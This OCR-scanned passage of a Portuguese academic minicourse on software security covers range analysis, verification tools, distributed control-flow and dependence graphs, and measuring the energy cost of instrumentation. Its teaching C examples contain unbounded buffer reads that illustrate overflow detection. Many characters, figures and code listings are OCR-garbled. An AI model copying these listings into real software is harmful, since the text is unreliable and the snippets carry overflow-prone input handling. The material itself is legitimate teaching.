utilizando fun¢des monotdnicas sobre um conjunto ordenado, com reticulados sendo a es-
colha notdvel. Astreé é fruto do trabalho de Patrick Cousot, que formalizou as técnicas de
interpretacdo abstrata - hoje muito usada em andlises e transformagdes em compiladores.
A ferramenta se propde a provar a auséncia de erros em tempo de execucdo para pro-
gramas escritos em C. Ela analisa programas complexos, mas sem alocacao dinamica ou
recursdo. Isso engloba grande parte dos programas utilizadas em sistemas de transporte
e de energia nuclear, por exemplo. Astreé verificou a corretude de sistemas aeronduticos
utilizados em avides da Airbus e, mais recentemente, do veiculo de transferéncia auto-

matizado Jules Verne, ndo tripulado e lancado para a Estacdo Espacial Internacional em
2008.

Por outro lado, o plugin Jessie® para o Frama-C utiliza técnicas de prova de teore-
mas para propriedades arbitrarias sobre programas, especificadas por uma linguagem de
anotacdo chamada ANSI/ISO C Specification Language (ACSL). Os programas sao ano-
tados com as propriedades que se deseja verificar e o programa €, entdo, analisado para
checar se satisfaz ou ndo as dadas propriedades. A abordagem, porém, requer que o c6-
digo fonte do programa sob andlise seja modificado, tornando-se infactivel para sistemas
legados.

Abordagens dinamicas. Valgrind [Nethercote and Seward 2007] é uma ferramenta de
andlise dinamica. Ela recebe como entrada um executdvel e o converte para uma lin-
guagem intermedidria. A nova representacdo € instrumentada e convertida de volta para
codigo de miquina. Exatamente pela conversdo, retraducdo e instrumentagio, surge a
relativa ineficiéncia da ferramenta. Uma restri¢do notdvel da ferramenta € a sua incapa-
cidade de detectar erros no acesso a dados alocados na pilha, ndo detectando, portanto,
problemas de stack smashing.

A ferramenta Eletric Fence ° substitui certas fungdes da libc - a biblioteca padrdo
de C - com fungdes préprias, de forma que imediatamente apds ou antes de cada objeto
alocado, haja uma pdgina de memoria inacessivel. Com isso, sempre que ocorrer um
buffer overrun e uma posi¢do de memoria da pagina inacessivel for acessada, o overrun
serd detectado. A ferramenta, porém, sé € capaz de detectar acessos invédlidos apds ou
antes do objeto, mas nao nunca ambos. Além disso, a alocacdo extra de paginas causa um
overhead indesejavel quanto ao uso de memoria.

3.5.5. Analise de Intervalo

Uma das principais ferramentas para encontrar vulnerabilidades de estouro de arranjos e
estouro de inteiros € a andlise de intervalos. Essa andlise procura estimar, estaticamente,
quais sao os menores e maiores valores que cada varidvel inteira pode assumir durante a
execucao de um programa. Além de prestar-se a encontrar vulnerabilidades de forma au-

8http://frama-c.com/jessie.html.
“http://sunsite.unc.edu/pub/linux/devel/lang/c/electricfence-2.0.5.tar.gz.
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tomatica, a andlise de intervalos possui vdrias outras aplica¢des, em termos de otimizac¢ao
de codigo. Por exemplo, esse tipo de andlise € usado para melhorar a qualidade do cédigo
gerado por alocadores de registradores [Barik et al. 2006, Pereira and Palsberg 2008, Tal-
lam and Gupta 2003], para apurar a predi¢cao de desvios condicionais [Patterson 1995],
na sintese de hardware [Cong et al. 2005, Lhairech-Lebreton et al. 2010, Mahlke et al.
2001, Stephenson et al. 2000] e em diversas eliminagdes de cédigo redundante [Bodik
et al. 2000, Logozzo and Fahndrich 2008, Souza et al. 2011, Venet and Brat 2004]. Data
essa importancia, existem diversos algoritmos que implementam a anélise de intervalos.
Neste capitulo, abordaremos um desses algoritmos.

A figura 3.12 ilustra dois usos da andlise de intervalos no contexto da seguranca
de software. Em primeiro lugar, as informacdes produzidas por essa andlise permitem
ao compilador provar que acessos a arranjos sdo seguros. Por acesso seguro, entende-se
que as leituras e escritas de dados enderecam somente memdria legitimamente alocada
pelo programa. A andlise de intervalos poderia, também, provar a existéncia de bugs. Tal
seria 0 caso se o arranjo a fosse declarado com uma posi¢do a menos, por exemplo. Em
segundo lugar, informagdes de intervalos ddo ao compilador o conhecimento necessério
para eliminar testes de estouro de arranjos, ou provar que estouros irdo acontecer. Na fi-
gura 3.12, por exemplo, todas as operacdes aritméticas sdo seguras. Nesse novo contexto,
entende-se que uma operacao aritmética é segura quando ela nao pode levar a ocorréncia
de estouros de inteiros.

int foo() { Essas leituras no arranjo a sdo
char* a = malloc(16); sempre seguras, pois a possui 16
int k = 0; posigdes, 0<i<15e¢0<j<15
while (k < 16) {
int 1 = 0;
an.C 1= . ki , Esses incrementos nunca
while (1 < J) | podem gerar estouros de
if (alil >raljl) arranjo, pois, i <j,j<kek<15
SWAP(a, i, Jj):
it+;
j -7
S Esses decremento nunca pode
gerar estouros de arranjo, pois, j
kt+; € um inteiro com sinal, e j > 0

Figura 3.12. Exemplo que ilustra o uso de informacées produzidas pela analise
de intervalos.

3.5.6. Calculando Intervalos de Variaveis Inteiras

A literatura € rica em algoritmos que resolvem a andlise de intervalos. Neste livro adota-
remos o algoritmo proposto por Rodrigues et al. [Rodrigues et al. 2013]. Esse algoritmo
segue o fluxograma visto na figura 3.13. Conforme pode ser visto na figura, a andlise
de intervalos possui cinco grandes fases. O restante desta se¢do descreve cada uma des-
sas fases. A fim de facilitar o entendimento das explicagdes que se seguem, usaremos o
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programa mostrado na figura 3.12 para ilustrar cada um dos passos do algoritmo.

Extracéo de Construgéo Componentes Ordenacdo
~ do grafo de Fortemente L
equacoes ~ topoldgica
equagodes Contexos

Para cada Componente Forte,
em ordem topologica

Resolugéo de
futuros

> Alargamento [— —>| Estreitamento

Figura 3.13. Algoritmo para resolucao de analise de intervalos.

Extracdo de Equacoes. A andlise de intervalos é, em sua esséncia, um sistema de
Equacoes Diofantinas. Uma equacdo diofantina € uma igualdade entre expressdes cons-
tituidas por incognitas e coeficientes inteiros. Tais equacdes sdo extraidas da represen-
tacdo intermedidria do programa. A representacdo intermedidria de um programa € a
forma como o compilador enxerga aquele cédigo. Normalmente, compiladores adotam
uma representacdo de trés enderecos em formato de atribui¢do estdtica vinica (SSA) '°.
Neste caso, o programa € visto como uma sequéncia de instru¢cdes de montagem. A maior
parte dessas instrugdes tem a forma a = b @ ¢, sendo & um operador qualquer. Exis-
tem, contudo, instru¢des undrias, como a = b, que copia o conteido de b para a memoria
apontada por a. Existem também instru¢gdes de aridade varidvel, como as func¢des phi:
a= ¢(ay,...,a,), cuja semintica descreveremos a seguir. A figura 3.14 (a) mostra uma
versao simplificada de nosso programa, e sua representacdo intermedidria pode ser vista
na parte (b) da figura. Uma fung@o phi, como i; = ¢ (i, i3), copia o valor de i ou i, para
i1, dependendo de qual o caminho que o programa percorre até executd-la.

A figura 3.14 (c) mostra as equacdes que descrevem o problema de determinar
intervalos para as varidveis inteiras do programa visto na figura 3.14 (b). Cada uma des-
sas equagdes segue diretamente de uma instrucdo de montagem presente na figura 3.14
(b). Algumas igualdades, como k; = k| N [—o0,99], representam informagdes aprendidas
a partir de testes condicionais. Essa equacao, por exemplo, advém da parte verdadeira do
teste k < 100. Nesse caso, temos que a varidvel k tem seu maior valor limitado por 99.

O Grafo de Restricoes. As equagdes extraidas de um programa podem ser resolvi-
das de diversas formas. Poder-se-ia, por exemplo, resolvé-las via mecanismos gerais de

10Neste livro, adotamos o nome inglés SSA, sigla para Single Static Assignment, uma vez que ele é bem
estabelecido na comunidade de compiladores.
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@ ¢ - (b) k =0 ky = (kg k) © k, = 0
. 0 T(k, < 100)?
while k < 100: l kl = (b(kor kz)
L= 0 k, = k,N[-,99] ke =k N [7e0,99]
3=k i, =0 i, =0
while i < j: Jo = k¢ e = X,
i=1i+1 : : :
. . . i, = i,, 1
j _ j 1 ll — ¢(10, 12) Il q)(lor I2)
K =% + 1 J1 = ¢G¢r 32) Ji = ¢0r 35)
(i, <37 i, =i, +1
1 / 3o = 30 - 1
i, = i N[-=,ft(3)-11] kK, =k, + 1
j = jlﬂ[ft(i1)7+°°] _ . X .
i; _ it + 1 ky ke +1 Jo = 3. N [ft(ll), +00]
j2 = jt -1 it = il N [~oo, ft(jl)]

Figura 3.14. (a) Versao simplificada do programa visto na figura 3.13. (b) Repre-
sentacao intermediaria do programa. (c) Equacoes diofantinas que representam
a analise de intervalos.

programacdo linear inteira. Elas, contudo, podem ser resolvidas por algoritmos mais es-
pecificos, e por conseguintes, mas eficientes que a programacao linear inteira. Seguindo
a abordagem proposta por Rodrigues et al. [Rodrigues et al. 2013], explicaremos um me-
canismo de resolucdo de equacdes baseado no chamado grafo de restricoes. Esse grafo
direcionado possui um vértice para cada incognita do sistema de equagdes, € um vértice
para cada equacgdo. Ele possui uma aresta u — ¢, se a varidvel u € usada do lado direito
da equacdo c, e uma aresta ¢ — v se a varidvel v é usada do lado esquerdo de c.

A figura 3.15 mostra o grafo criado para representar as equagdes vistas na fi-
gura 3.14 (c). Note que esse grafo apresenta duas arestas pontilhadas. Essas setas sao
chamadas arestas de controle, e elas conectam varidveis que possuem futuros. Um futuro
€ uma promessa de valor ainda por conhecer. Esse tipo de construcdo existe devido a
comparacdes condicionais entre duas varidveis, como por exemplo, i < j; no programa
da figura 3.14 (b). Uma vez que o limite superior de i; depende do limite inferior de ji,
existe uma dependéncia futura entre essas variaveis. Quando o intervalo de j; for co-
nhecido, poderemos estimar o intervalo de i;. E interessante notar que essa dependéncia
futura também existe no sentido inverso: quando o intervalo de i; for conhecido, pode-
remos determinar o limite inferior do intervalo de jj. Ciclos de dependéncias como esse
sdo resolvidos em uma etapa posterior, conhecida como resolugdo de futuros, sobre a qual
falaremos mais adiante.

Uma vez construido o grafo de restri¢des, o algoritmo de resolucdo de equagdes
passa para a fase de processamento: componentes fortemente conexos sdo encontrados
no grafo, e, a partir desse ponto, passam a ser tratados como noés individuais. O grafo
que resulta da contracdo dos componentes fortemente conexos € aciclico; portanto, ele
admite ordenacao topoldgica. A seguir cada componente fortemente conexo é processado
de acordo com a sua ordem topoldgica. Nesta etapa, as arestas de controle sdo removidas
do grafo de restri¢des. Da-se o nome de micro-algoritmo a fase de processamento de cada
componente conexo.
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0 k, (0] k, +1
Ky «—[100, +50] k, [-0,99] ———— sk,

0 — 1, Jp e——

| | | | l .
1 ¢ 1o 2 ¢ J2
+T1 i oo, 601 i), 4] Ie -1

Figura 3.15. Grafo de restricoes criado para o programa visto na figura 3.14.

O Micro-Algoritmo. Cada componente conexo sofre trés andlises, que, ao final, pro-
duzem uma estimativa para o intervalo de suas varidveis. A primeira dessas andlises é
chamada alargamento. Durante a etapa de alargamento, define-se como cada varidvel
cresce. Se uma varidvel pertence a um ciclo do qual fazem parte somente operacdes de
incremento, dizemos que a varidvel cresce em direcdo a +oo. Por outro lado, se ela faz
parte de um ciclo que contém somente operacdes de decremento, entdo ela cresce em
direcdo a —eo. Doutro modo, a varidvel cresce em ambas as direcdes. A figura 3.16 (a)
mostra o maior componente conexo visto na figura 3.15. Note que arestas de controle
foram removidas. A figura 3.16 (b) mostra o resultado da anélise de alargamento aplicada
aquele componente.

(a) [0,0] ———= ¢ ¢ «—0,99] (b) [0,0] ———=¢ ¢ e—10,99]
o) /l l \ o) . , | o \
i) i1 S 3L 1] 1,[1, +] 1[0, +] J 1 [, 99] J o[-, 98]

|
[0, f6(J)-1]  [ft(l,), +oo] [-o0, ft(J))-1]  [ft(Z,), 0]

Ao iy 3L L1 +l «———1 [0, 4] J [0, 99] ————1
R T e =t T p
1,01, +o0] 110, +o0] 3 1[0, 99 J [~ 0, 98] i,[1,99] 14[0,99] 341,99 J,[-1,98]
¥ v
[-o0, 98] [0, IOO] [-0, 98] [0, +o0]
o1 [0, 4] T [-0,99] —> 1 F1——1.00.98] 300,99 —— -1

Figura 3.16. Processamento do ultimo componente fortemente conexo do grafo
de restricoes visto na figura 3.15.

Realizada a andlise de alargamento, sabe-se como cada varidvel cresce. Essa in-
formacdo permite-nos realizar a resolucdo de futuros. Nessa etapa, intervalos simbolicos,
isso é, os futuros, sdo substituidos por limites concretos. Se um futuro ft(v) aparece do

134 ©2013 SBC — Soc. Bras. de Computa¢do



Minicursos do XIII Simpésio Brasileiro em Seguranca da Informacdo e de Sistemas Computacionais — SBSeg 2013

lado esquerdo de um intervalo, e.x.: u =N [ft(v),...], entdo ft(v) é substituido pelo li-
mite superior de v. Por outro lado, se ft(v) aparece do lado direito de um intervalo, como
u=tN[...,ft(v)], entdo ft(v) é substituido pelo limite inferior de v. A figura 3.16 (c)
mostra o resultado da resolu¢do de futuros em nosso exemplo.

Finalmente, passa-se a ultima etapa do micro-algoritmo: o estreitamento de inter-
valos. Nessa fase, o resultado de testes condicionais € utilizado para refinar os resultados
encontrados para cada varidvel. Por exemplo, o valor de i;, na figura 3.16 (c) € dado por
iy = i N [—e0,98]. O limite superior de i; pode ser, portanto, no maximo 98. Porém, apés
o alargamento, tinhamos que esse limite era 4-oo. Assim, substituimos o valor daquele li-
mite superior por 98, e propagamos essa informacao para outras varidveis que dependem
de i;. Essa propagacao acontece até que todos os vértices do grafo tenham sido visitados.
A figura 3.17 mostra a solu¢do da andlise de intervalos. A mesma varidvel pode estar
associada a diferentes intervalos, dependendo do ponto em que ela exista no programa. A
figura mostra, por exemplo, os diferentes intervalos associados a variavel k.

k =20
P 4
U » while k < 100: ‘
ITk,] = [0, 01"~ T, ITi,] = [0, 0]
=0 ITi,] = [0, 99]
Itk,] = [0, 100]° P IR I1i,] = [1, 99]
i le i < - I1i,] = [0, 98]
Ik — 1, 100]. o while 1 < J: 't
teel = e L 113,] = [0, 99]
g S~o 1 =1 .
Itk ] = [0, 991" 13,1 = [-1, 99]
’ j=3-1 I13,) = (-1, 98]
ITk,] = [100, 100]..__ N k=k+1 I13.1 = [0, 99]
—-- Ta

Figura 3.17. Solucao da analise de intervalos para o exemplo visto na figura 3.14
(a). A funcao 7 mapeia um nome de variavel, na representacao intermediaria do
programa, para um intervalo. A figura explicita os diversos intervalos associados
com a variavel k.

3.5.7. Analise Distribuida

Com o advento da Internet das Coisas (Internet of Things — 10T) [Atzori et al. 2010]
e a popularizagdo dos smartphones a tendéncia é que Sistemas Embarcados tornem-se
praticamente onipresentes € conectados a Internet. A IoT pretende conectar uma enorme
diversidade de dispositivos computacionais e prover servicos com garantias de alta dispo-
nibilidade, efici€ncia e seguranca. Dessa forma, os Sistemas Embarcados terdo acesso e
poderao ser acessados via Internet além de comunicarem entre si de forma distribuida. Pa-
ralelamente a essa ubiquidade de Sistemas Embarcados — e os beneficios que ela acarreta
— surge também certa inquietagdo: como garantir a Seguranca de Software embarcados
nesses dispositivos?

A maioria das propostas de Segurancga de Software se baseia na anélise do c6digo
fonte e/ou bindrio da aplicacdo a fim de detectar operagdes que possam levar o programa
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a sofrer um ataque. Técnicas usadas variam desde andlise estdtica e instrumentagdo di-
namica de cddigo [Dietz et al. 2012, Rodrigues et al. 2013] até solucdes que procuram
gerar testes dinamicamente usando execugdo simbdlica [Molnar et al. 2009]. Tais pro-
postas, contudo, ndo levam em consideracdo as peculiaridades de sistemas distribuidos e,
portanto, suas respectivas andlises sdo conservadoras quando se deparam com chamadas
de procedimento que fazem interface com a rede.

Hé excecdes como o Kleenet [Sasnauskas et al. 2010] e o T-Check [Li and Regehr
2010] que tem por objetivo encontrar defeitos em aplica¢des de redes de sensores sem fio
que utilizem o ContikiOS (Kleenet) ou o TinyOS (T-check). Tais ferramentas utilizam
execucdo simbolica para gerar testes dindmicos a fim de avaliar os cendrios nos quais
o sistema podem apresentar algum tipo de defeito. Mas, além do foco ser em detec¢ao
de bugs e ndo em seguranga, a quantidade de caminhos a serem avaliados pode tornar a
andlise invidvel por restricdes de tempo e recursos computacionais.

Na area de sistemas distribuidos, ha trabalhos de analise de vulnerabilidades de
protocolos, incluindo model checking [Lin et al. 2009] e engenharia reversa de pro-
tocolos [Comparetti et al. 2009]. Esses trabalhos, no entanto, focam no protocolo de
comunicacao e tratam as partes comunicantes como caixas-pretas, sem examinar seu co-
digo fonte. J4 na drea de aplicacdes Web, trabalhos como [Tripp et al. 2009, Balzarotti
et al. 2008] avaliam o fluxo entre dados de entrada e seu uso em uma aplicagao Web para
detectar pontos vulnerdveis no programa. Tais trabalhos, contudo, geram muitos falsos
positivos ja que qualquer interagdo com a rede € considerada insegura.

Portanto € necessario que novas solucdes de Seguranga de Software sejam desen-
volvidas voltadas especialmente para Sistemas Embarcados Distribuidos. Mais precisa-
mente, deve-se levar em consideracao uma intensa comunicagdo via rede com dispositivos
comunicando entre si e com a Internet. A solug@o deve ser avaliada ndo apenas em ter-
mos de tempo e memoria, mas também em termos energéticos. Por fim, a solu¢do deve
ser “leve” (lightweight) o suficiente para ser executada sobre plataformas restritas.

Por exemplo, na figura 3.18 temos dois programas: Reader e Writer. O programa
Writer envia uma mensagem para o Reader inciando o protocolo (code=1, size=7 e buf-
fer=begin). O programa Reader recebe a mensagem e imprime o cédigo. Se apenas o
Reader € analisado, a maioria das ferramentas de seguranga de cédigo concluird que o
recv € um ponto de entrada vulneravel, pois um adversario poderia, via programa Wri-
ter, enviar um dado maior que o previsto pelo e sobrescrever o campo code na struct
MSG. Mas ao analisar o programa como um todo fica claro que o Writer envia apenas
dados internos e, portanto, nio representa ameaca para o sistema. Dessa forma, € possivel
evitar um falso-positivo e reduzir o nimero de instrumentagdes necessarias para tornar o
programa seguro.

3.5.7.1. Grafo de Controle de Fluxo de Sistemas Distribuidos

A andlise distribuida pode ser realizada utilizando estruturas de dados semelhantes as
propostas para sistemas convencionais. Por exemplo, muitas andlises utilizam o grafo de
controle de fluxo (CFG) como representacdo do programa a fim de verificar os possiveis
caminhos no programa. O CFG € um grafo dirigido onde os nds sao blocos basicos do
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// Reader
#include "mysocket.h"
struct msg { // Writer
char buf[MAX]; #include "mysocket.h"
char code;
int main() { int main()
int mySocket,n; {
char buf[MAX]; int mySocket;
struct msg MSG; mySocket=getServerSocket () ;
mySocket = getMySocket();
n=recv (mySocket, buf ,MAX,0) ; char buffer[]="beginl7";
MSG. code = buf[5]; send (mySocket , buffer ,7,0);
printf ("code: %c" ,MSG.code);
close (mySocket) ; close (mySocket) ;
} }
Programa Reader Programa Writer

Figura 3.18. A analise individual considera o arranjo (buf) vulneravel no Reader.
Ao analisar o todo, verifica-se um falso-positivo.

a=10;

send(a); //sl
a=20; b=recv(a); //rl
send(a); //s2 b=recv(a); //r2

Programa P1 Programa P2

Figura 3.19. Programa P1 envia valor de a para P2. Programa P2 recebe valor de
a atribui a b.

programa [Allen 1970]. Um bloco basico € uma sequéncia de instru¢des que ndo contém
desvios, s6 € possivel entrar no bloco pela primeira instrug@o e s6 € possivel sair depois
da ultima instru¢do. Ha uma aresta entre um bloco bdsico Bl e um bloco basico B2 se
o programa pode fluir de B1 para B2. Cada programa de um sistema distribuido possui
seu proprio CFG. Dessa forma, para se analisar um sistema distribuido como um todo €
necessdrio criar um CFG global do sistema.

Por exemplo, a figura 3.19 mostra o cédigo de um programa P1 que envia valor
de a para o programa P2 que recebe esse valor e o atribui a . Nao hd muito o que inferir
de possiveis valores de b se analisarmos apenas P2. Por outro lado, ao analisar os dois
programas em conjunto verifica-se que o maior valor que b pode assumir € 20.

Na figura 3.20a temos os CFGs simplificados do programa P1 e do programa P2.
Para analisar a aplicacdo como um todo € necessdrio unir os dois grafos o que resulta em
um novo CFG que representa o sistema distribuido como pode ser visto na figura 3.20b.
Agora € possivel saber que o valor » em P2 depende do valor de a que foi recebido de P1
e que esse valor variou entre 10 e 20. Dessa maneira, a andlise se torna mais precisa e
menos suscetivel a falsos positivos.

O problema passa a ser, entdo, como unir esses grafos de forma que as analises ja
existentes possam ser aplicadas. A solugdo trivial desse problema € unir todos os sends
com todos os receives. Mas nesse caso, varias arestas invalidas serfo incluidas como
acontece com as arestas pontilhadas na figura 3.20c. Portanto € necessério utilizar um
algoritmo que leve em consideracdo o CFG de cada programa e sua interacdo via rede a
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fim de gerar um CFG do sistema como um todo sem arestas redundantes ou invalidas.

P1 P2 P1 P1

sl o sl B

a=20 a=20

{a (b) (c)

Figura 3.20. (a) CFG simplificado dos programas P1 e P2. (b) Unidao dos CFGs
simplificados de P1 e P2. (c) CFG simplificado resultante da ligacdo de todos os
sends de P1 com todos os receives de P2, as aresta pontilhadas indicam ligacoes
invalidas.

As arestas redundantes podem ser eliminadas ou, pelo menos, reduzidas a partir
da aplica¢do do conceito de Dominancia em Grafos. Um né x em um CFG G domina um
nd y (x e y podem ser os mesmos) se e somente se todo caminho em G para y a partir do
inicio — s — contém x. J4 um né x é dominador imediato de y se x # y e qualquer outro
no z que domine y também domine x. Para otimizar as ligacdes entre sends e receives
podemos detectar qual ¢ o dominador imediato x; de cada send ou receive encontrado,
onde L € o nivel desse dominador imediato. Esses sends/receives passam a fazer parte
do conjunto de pontos de comunicacdo de rede dominados por x;. O mesmo € feito para
o outro programa. Cria-se, entdo, arestas apenas entre sends € receives de programas
diferentes que estejam no mesmo nivel. O nivel de cada n6 (L) pode ser determinado da
seguinte maneira: (i) inicia-se o nivel de cada send ou recv com nivel 0; (ii) Se um send
ou recv n € alcancavel por um né x com nivel L, o nivel de n serd o maior valor entre L+ 1
e o nivel de n; (iii) repete-se o passo anterior até que o sistema se estabilize.

Por exemplo, na figura 3.21 mostramos um c6digo onde um programa Send envia
mensagens para o programa Recv simulando um trecho de um protocolo de um sistema
distribuido. O CFG do programa Send pode ser visto na figura 3.22 e do programa Recv
na figura 3.24. Através da arvore de dominancia do programa Send € possivel verificar
quais os dominadores imediatos de cada send, veja figura 3.23. Cada send dos blocos
basicos if.then e if.else tem como dominador imediato o bloco entry. Ja o send do bloco
basico do.end tem como dominador imediato o bloco do.cond. A arvore de dominéncia
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#include "myserversocket.h" #include "mysocket.h"
main () {

int s,code; int main () {

struct msgServer m; int s;

s = getMyServerSocket(); int n;
scanf("%d",&code); struct msg m;

if (code==7){ s = getMySocket();

strcpy (&m. buf , "beginl7");

send (s, &m.buf, 7, 0); n=recv (s,&(m.buf) MAX,0) ;
}else{

scanf("%s",&m. buf); if (MSG. code==7){

send (s,&m. buf , strlen (m. buf) ,0); printf ("Begin");

} n=recv (s,&(m.buf) MAX,0);
do{ } else {

//do something and break printf("code: %c".m.code);
}while (1) ; n=recv (s,&(m. buf) MAX,0) ;
scanf("%s",&m. buf); }
send (s, &m.buf, strlen(m.buf), 0);
close(s); close(s);

} }

Programa Send Programa Recv

Figura 3.21. Trecho de um sistema distribuido onde o programa Send envia men-
sagens para o programa Recv de acordo com entradas passadas pelo usuario.

do programa Recv € apresentada na figura 3.25. O primeiro recv tem como dominador
imediato o inicio do programa, ji os demais tem como dominador imediato o primeiro
bloco bésico (entry).

Portanto para gerar o CFG desse exemplo, devemos criar arestas entre cada send
e cada recv obedecendo suas arvores de dominancia. O resultado final pode ser visto na
figura 3.26. E criada uma aresta entre cada send dominado pelo bloco bésico entry e o
recv inicial. Ja o send dominado pelo bloco basico do.end foi ligado cada recv dominados
pelo bloco basico entry.

3.5.7.2. Grafo de Dependéncia de Sistemas Distribuidos

Ha muitos algoritmos que usam o grafo de dependéncias [Ottenstein et al. 1990] para
analisar programas. O Grafo de Dependéncia pode ser usado, por exemplo, para mapear
as dependéncias entre as entradas (fontes externas) e os arranjos. A figura 3.27 mostra
um grafo de dependéncia criado para um pequeno programa C. O grafo de dependéncia
possui um né para cada varidvel e cada operacdo do programa. H4 uma aresta entre cada
varidvel u e uma instrucao i se i representa uma instru¢do que usa u. De forma similar, o
grafo contem uma aresta entre i € v se i define uma variavel.

E possivel utilizarmos esses algoritmos no mundo distribuido, desde que exista
uma defini¢do de grafo de dependéncias apropriado. Tal grafo pode ser construido a
partir da unido dos grafos de dependéncias individuais, via uma estratégia semelhante
aquela que usamos para unir CFGs. Cada programa do sistema possui seu proprio grafo
de dependéncia. Para cada instru¢do de acesso a rede, é criado um vértice no grafo para
representar essa comunicagdo. O vértice € marcado como um né de rede de leitura ou de
escrita e inserido em uma lista correspondente. Insere-se, entdo, uma aresta de dependén-
cia entre o vértice de rede encontrado e os vértices correspondentes no outro programa
de acordo com o CFG global do sistema construido anteriormente. Dessa forma, o grafo
de dependéncias final é a unido dos grafos de cada programa e representa o grafo de
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;

entry:

int s,code;

struct msgServer m;

s = getMyServerSocket();

scanf("%d",&code);
if(code==7)

T F

N

if.then:

strepy(&m.buf,"beginl7");
send(s, &m.buf, 7, 0);

if.else:

scanf("%s",&m.buf);
send(s,&m.buf,strlen(m.buf),0);

Figura 3.22. CFG do Programa Send

if.end:

do.cond:
T[F

do.end:

scanf("%s",&m.buf);
send(s, &m. buf,strien(m.buf),0);
close(s);

entry:

int s,n;

struct msg m;

s = getMySocket();

n=recv(s,&(m.buf),MAX,0);
if(M5G.code==7)

entry:

int s,code;
struct msgServer m;

s = getMyServerSocket();
scanf("%d",&code);
iflcode==7)

T

F

if then:

strcpy(&m.buf,"beginl7");
send(s, &m.buf, 7, 0);

~,

if else:
scanf("%s",&m.huf);
send(s,&m.buf,strlen(m.buf),0);

do.end:

scanf("%s",&m.buf);
send(s,&m.buf,strlen(m.buf),0);

close(s);

Figura 3.23. Send: Arvore de

Dominancia

entry:
int s,n;

struct msg m;

F

( :
if.then:

printf("Begin");

n=recv(s,&(m.buf), MAX,0);

if.else:

printf{"code: %c", m.code);
n=recv(s,&(m.buf),MAX,0);

N

-

if.end:

close(s);

Figura 3.24. CFG do Programa Recv

140

s = getMySocket();
n=recv(s,&(m.buf),MAX,0);

if{MSG.code==7)

T

F

if.then:

printf{"Begin");

n=recv(s,&(m.buf), MAX,0);

ifend:

close(s);

N

if.else:
printf{"code: %c",m.code);
n=recv(s,&(m.buf), MAX,0);

Figura 3.25. Recv: Arvore de

Dominancia
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entry:

int s,code;

struct msgServer m;

s = getMyServerSocket();
scanf("%d",&code);

iflcode==7)
( T F \
do.cond: if.then: if.else:
strepy(&m.buf,"beginl7"); scanf("%s",&m.buf);
T F send(s, &m.buf, 7, 0); send(s,&m.buf,strlen(m.buf),0);
S / )
4
entry:
int s,n;
do.endl:lu . struct msg m;
scanf{"%s",&m.buf); it end: s = getMySocket();
send(s,&m.buf strlen(m.buf),0); n=recv(s,&(m.buf), MAX,0);
close(s); if{MSG.code==7)
T | F
‘/“/m }/
/ if.then: if.else:
do.body: printf("Begin"); printf{"code: %c", m.code);
n=recv(s,&(m.buf),MAX,0); n=recv(s,&(m.buf), MAX,0);

if.end:
close(s);

Figura 3.26. CFG do sistema distribuido. Os nés preenchidos correspondem a
blocos basicos do programa Send. As arestas tracejadas representam as liga-
¢coes entre send e recv de cada programa.

dependéncia do sistema distribuido como se fosse um tnico programa.

O grafo de dependéncia resultante pode ser usado, por exemplo, para verificar de-
pendéncias entre arranjos e entradas de dados. Para cada operacdo com arranjo, verifica-se
no grafo se ha dependéncia com as fontes de dados. As dependéncias podem ser locais
ou remotas. As locais sdo aquelas que representam caminhos entre arranjos e fontes de
dados no mesmo programa. As dependéncias remotas sao aquelas derivadas de caminhos
entre arranjos de um programa e fontes de dados de outro programa, através da rede.

3.6. Metodologia de Avaliacao

A insercdo de codigo extra para verificagdao de seguranga causa um acréscimo energético
que pode ser determinante para aplicacdes nas quais o consumo de energia € parametro
critico, tais como aplicagdes embarcadas, sistemas movidos a bateria e outros. Nesta
secdo, serd descrito um método para medi¢cdo de energia extra consumida pelo acréscimo
de cédigo.

3.6.1. Modelagem do Sistema de Medicao

O método consiste em medir a energia total que a plataforma consome durante o tempo
de execuc¢do do cédigo instrumentado e, em seguida, subtrair a energia correspondente
ao consumo em estado de repouso (sem execucdo do cddigo), de forma que o resultado
corresponda a energia consumida somente pelo cddigo sob andlise. Um diagrama de
blocos do sistema de medi¢do estd representado na figura 3.28. Para medir a energia, €
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(=
Com)
int main(int argc, char** argv) {
inta=0; )
a++;

int* p = (int*)malloc(sizeof(int));
int* p2 = (int*)malloc(sizeof(int));
p=a;
if (argc % 2) {

free(p2);

P2 =p;
}else{

P2 ="p;
}

return O;

} " Memory 1)

" Memory0 )

Figura 3.27. Exemplo de um grafo de dependéncias

preciso medir a corrente que entra na plataforma. Ao inserir uma resisténcia em série com
o circuito de alimentagdo (resisténcia shunt) € possivel medir o valor da tensdo sobre essa
resisténcia e a corrente que entra na plataforma (passa pela resisténcia) € proporcional ao
valor da tensdo medida.

Para adquirir os valores de tensdo V sobre a resisténcia shunt Ry, deve ser utili-
zado um sistema de aquisico de dados (Data Acquisition System — DAQ)!!. Esse sistema
amostra os valores analdgicos de tensdao e os converte para valores digitais, usaveis em
computador. Cada valor de tensdo V; amostrado € processado no software de medicgao.
Como gatilho externo de aquisicdo dos dados, foi usada a porta serial RS-232 da plata-
forma (controlavel em software). O pino da porta serial correspondente ao sinal RTS (Re-
ady to Send) permanece em nivel l6gico alto no estado de repouso. Quando o programa
a ser avaliado inicia, o valor de tensdo do pino RTS € alterado para nivel 16gico baixo
e quando o programa termina, o nivel 16gico alto é novamente atribuido. Dessa forma,
inicio e fim do programa estdo claramente definidos por sinais externos, que servirdo de
entrada para o DAQ e serdo processados no software de medicao.

HModelo utilizado: USB-6009 - National Instruments.
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Computador
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Figura 3.28. Diagrama de blocos para o esquema de medicao

3.6.2. Codigos de teste

Para garantir a qualidade do teste, o sistema operacional (SO)'? precisa ser configurado
para ndo inicializar os médulos gréfico e de rede. Além disso, deve ser dada prioridade
méxima'® ao programa em execucdo para evitar que outras tarefas realizadas concomi-

tantemente pelo SO causem desvios nos resultados.

Os instantes exatos de inicio e fim da execucdo dos programas sob andlise devem
ser determinados, portanto, € necessario modificar os codigos fonte inserindo comandos
que controlem a porta serial. Esses comandos engatilham a medi¢do através de um sinal
externo em hardware, dispensando qualquer tipo de emulacdo. As fun¢des setrts_up
e setrts_down realizam esse trabalho definindo os niveis de tens@o do pino de saida da
porta RS-232. No inicio do programa, a saida da porta serial € definida como nivel baixo
(setrts_down) e, ao final, o nivel légico alto (setrts_up) € atribuido. Abaixo, é
mostrado um exemplo da insercdo do sinal RTS no cédigo fonte de um programa sob
avaliacdo.

//saida_porta_serial <= (nivel baixo)

setrts_down () ;

//exemplo de corpo do cédigo para testes

for(k=0; k < iterations; k++) {

/* bound checkx*/
